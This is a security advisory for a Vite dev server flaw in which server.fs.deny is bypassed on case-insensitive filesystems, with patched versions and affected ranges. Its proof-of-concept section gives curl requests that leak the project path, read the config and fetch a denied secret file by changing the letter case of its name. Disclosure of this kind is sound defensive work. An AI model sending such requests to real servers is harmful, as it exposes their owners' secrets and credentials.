GHSA-c24v-8rfc-w8vw

Suggest an improvement
Source
https://github.com/advisories/GHSA-c24v-8rfc-w8vw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-c24v-8rfc-w8vw/GHSA-c24v-8rfc-w8vw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c24v-8rfc-w8vw
Aliases
Related
Published
2024-01-19T21:58:47Z
Modified
2024-01-19T22:11:32.070917Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Details

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup 1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance. - npm run dev -- --host 0.0.0.0 - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. custom.secret and production.pem 3. Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction 1. curl -s http://20.12.242.81:5173/@fs// - Descriptive error page reveals absolute filesystem path to project root 2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js - Discoverable configuration file reveals locations of secrets 3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT - Secrets are directly accessible using case-augmented version of filename

Proof Screenshot 2024-01-19 022736

Impact

Who - Users with exposed dev servers on environments with case-insensitive filesystems

What - Files protected by server.fs.deny are both discoverable, and accessible

Database specific 
{
    "nvd_published_at": "2024-01-19T20:15:14Z",
    "cwe_ids": [
        "CWE-178",
        "CWE-200",
        "CWE-284"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-19T21:58:47Z"
}
References

Affected packages

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
2.7.0
Fixed
2.9.17

Database specific 

{
    "last_known_affected_version_range": "<= 2.9.16"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.2.8

Database specific 

{
    "last_known_affected_version_range": "<= 3.2.7"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.5.2

Database specific 

{
    "last_known_affected_version_range": "<= 4.5.1"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.0.12

Database specific 

{
    "last_known_affected_version_range": "<= 5.0.11"
}